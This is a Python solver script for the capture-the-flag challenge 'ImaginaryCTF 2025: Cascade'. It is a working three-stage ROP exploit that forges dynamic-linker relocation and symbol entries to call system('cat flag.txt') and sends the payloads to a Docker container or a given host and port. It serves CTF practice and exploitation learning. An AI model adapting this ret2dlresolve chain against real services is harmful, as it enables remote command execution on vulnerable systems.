#!/usr/bin/env python3
"""Dependency-free solver for ImaginaryCTF 2025: Cascade.

Usage:
  ./solve.py --docker          # exact Ubuntu 24.04 challenge container
  ./solve.py HOST PORT         # original TCP service, if it is online

Build the original local challenge image first:
  docker build -t ictf2025-cascade-local artifacts

The exploit sends three reads. The first returns into vuln's existing read
setup and points it at LOW; that read installs a second frame and points the
same setup at HIGH; the final read installs a stack that enters PLT0.
"""

from __future__ import annotations

import socket
import struct
import subprocess
import sys
import time


def qword(value: int) -> bytes:
    return struct.pack("<Q", value)


READ_SETUP = 0x401162
PLT0 = 0x401020
RET = 0x40101A
MAIN = 0x40117B
SETVBUF_GOT = 0x404008
LOW = 0x404020
HIGH = 0x404F00
RELA_PLT = 0x400580
DYNSYM = 0x4003D8
DYNSTR = 0x400480


def align_for(address: int, base: int, element_size: int) -> int:
    """Move forward until (address - base) is divisible by element_size."""
    return address + ((base - address) % element_size)


def make_payloads(command: bytes = b"cat flag.txt") -> tuple[bytes, bytes, bytes]:
    """Create the three independent reads used by the cascading ROP chain."""
    if b"\0" in command:
        raise ValueError("the command must not contain a NUL")

    fake_rela = align_for(LOW + 0x80, RELA_PLT, 24)
    fake_sym = align_for(fake_rela + 24, DYNSYM, 24)
    name = fake_sym + 24
    reloc_index = (fake_rela - RELA_PLT) // 24
    sym_index = (fake_sym - DYNSYM) // 24


    first = (b"A" * 0x40 + qword(LOW + 0x40) + qword(READ_SETUP)).ljust(0x200, b"\0")

    low = bytearray(0x200)
    command_addr = LOW + 8
    low[0:8] = qword(command_addr)
    low[8 : 8 + len(command) + 1] = command + b"\0"
    low[0x40:0x48] = qword(HIGH + 0x40)
    low[0x48:0x50] = qword(READ_SETUP)

    rela_offset = fake_rela - LOW
    r_info = (sym_index << 32) | 7
    low[rela_offset : rela_offset + 24] = struct.pack(
        "<QQq", SETVBUF_GOT, r_info, 0
    )
    sym_offset = fake_sym - LOW
    low[sym_offset : sym_offset + 24] = struct.pack(
        "<IBBHQQ", name - DYNSTR, 0x12, 0, 0, 0, 0
    )
    low[name - LOW : name - LOW + len(b"system\0")] = b"system\0"

    high = bytearray(0x100)
    high[0x40:0x48] = qword(0)
    high[0x48:0x50] = qword(PLT0)
    high[0x50:0x58] = qword(reloc_index)
    high[0x58:0x60] = qword(RET)
    high[0x60:0x68] = qword(MAIN)
    return first, bytes(low), bytes(high)


def send_stages(send) -> None:
    for stage in make_payloads():
        send(stage)
        time.sleep(0.15)


def solve_remote(host: str, port: int) -> bytes:
    with socket.create_connection((host, port)) as sock:
        send_stages(sock.sendall)
        sock.shutdown(socket.SHUT_WR)
        return b"".join(iter(lambda: sock.recv(4096), b""))


def solve_docker() -> bytes:
    proc = subprocess.Popen(
        [
            "docker", "run", "--rm", "-i",
            "--entrypoint", "/usr/sbin/chroot", "ictf2025-cascade-local",
            "/chroot", "/bin/sh", "-c", "cd /home/user && ./chal",
        ],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
    )
    assert proc.stdin is not None and proc.stdout is not None
    send_stages(lambda payload: (proc.stdin.write(payload), proc.stdin.flush()))
    proc.stdin.close()
    return proc.stdout.read()


def main() -> None:
    if len(sys.argv) == 2 and sys.argv[1] == "--docker":
        result = solve_docker()
    elif len(sys.argv) == 3:
        result = solve_remote(sys.argv[1], int(sys.argv[2]))
    else:
        raise SystemExit(f"usage: {sys.argv[0]} --docker | HOST PORT")
    sys.stdout.buffer.write(result)


if __name__ == "__main__":
    main()